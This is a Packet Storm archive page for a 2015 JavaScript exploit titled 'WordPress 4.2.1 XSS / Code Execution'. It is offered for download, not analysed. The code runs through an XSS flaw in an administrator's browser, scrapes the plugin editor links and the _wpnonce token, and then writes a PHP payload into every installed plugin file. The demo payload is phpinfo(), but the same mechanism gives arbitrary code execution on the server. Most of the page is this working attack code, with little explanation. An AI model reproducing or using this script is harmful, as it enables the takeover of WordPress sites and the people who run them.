Exploit the possiblities

WordPress 4.2.1 XSS / Code Execution

WordPress 4.2.1 XSS / Code Execution
Posted May 5, 2015
Authored by Evex

Exploit that uses a WordPress cross site scripting flaw to execute code as the administrator.

tags | exploit, xss
MD5 | 9a04af37341fdd422f7a74cb9e814084

WordPress 4.2.1 XSS / Code Execution

Change Mirror Download
/*
Author: @Evex_1337
Title: Wordpress XSS to RCE
Description: This Exploit Uses XSS Vulnerabilities in Wordpress
Plugins/Themes/Core To End Up Executing Code After The Being Triggered With
Administrator Previliged User. ¯\_(ツ)_/¯
Reference: http://research.evex.pw/?vuln=14
Enjoy.

*/
//Installed Plugins Page
plugins = (window.location['href'].indexOf('/wp-admin/') != - 1) ?
'plugins.php' : 'wp-admin/plugins.php';
//Inject "XSS" Div
jQuery('body').append('<div id="xss" ></div>');
xss_div = jQuery('#xss');
xss_div.hide();
//Get Installed Plugins Page Source and Append it to "XSS" Div
jQuery.ajax({
url: plugins,
type: 'GET',
async: false,
cache: false,
timeout: 30000,
success: function (txt) {
xss_div.html(txt);
}
});
//Put All Plugins Edit URL in Array
plugins_edit = [
];
xss_div.find('a').each(function () {
if (jQuery(this).attr('href').indexOf('?file=') != - 1) {
plugins_edit.push(jQuery(this).attr('href'));
}
});
//Inject Payload
for (var i = 0; i < plugins_edit.length; i++) {
jQuery.ajax({
url: plugins_edit[i],
type: 'GET',
async: false,
cache: false,
timeout: 30000,
success: function (txt) {
xss_div.html(txt);
_wpnonce =
jQuery('form#template').context.body.innerHTML.match('name="_wpnonce"
value="(.*?)"') [1];
old_code = jQuery('form#template div textarea#newcontent') [0].value;
payload = '<?php phpinfo(); ?>';
new_code = payload + '\n' + old_code;
file = plugins_edit[i].split('file=') [1];
jQuery.ajax({
url: plugins_edit[i],
type: 'POST',
data: {
'_wpnonce': _wpnonce,
'newcontent': new_code,
'action': 'update',
'file': file,
'submit': 'Update File'
},
async: false,
cache: false,
timeout: 30000,
success: function (txt) {
xss_div.html(txt);
if (jQuery('form#template div textarea#newcontent')
[0].value.indexOf(payload) != - 1) {
// Passed, this is up to you ( skiddies Filter :D )
injected_file = window.location.href.split('wp-admin') [0] +
'/wp-content/plugins/' + file; //
http://localhost/wp//wp-content/plugins/504-redirects/redirects.php
throw new Error('');
}
}
});
}
});
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    22 Files
  • 2
    Nov 2nd
    28 Files
  • 3
    Nov 3rd
    10 Files
  • 4
    Nov 4th
    1 Files
  • 5
    Nov 5th
    5 Files
  • 6
    Nov 6th
    15 Files
  • 7
    Nov 7th
    15 Files
  • 8
    Nov 8th
    13 Files
  • 9
    Nov 9th
    9 Files
  • 10
    Nov 10th
    9 Files
  • 11
    Nov 11th
    3 Files
  • 12
    Nov 12th
    2 Files
  • 13
    Nov 13th
    15 Files
  • 14
    Nov 14th
    17 Files
  • 15
    Nov 15th
    19 Files
  • 16
    Nov 16th
    15 Files
  • 17
    Nov 17th
    19 Files
  • 18
    Nov 18th
    4 Files
  • 19
    Nov 19th
    2 Files
  • 20
    Nov 20th
    9 Files
  • 21
    Nov 21st
    15 Files
  • 22
    Nov 22nd
    23 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close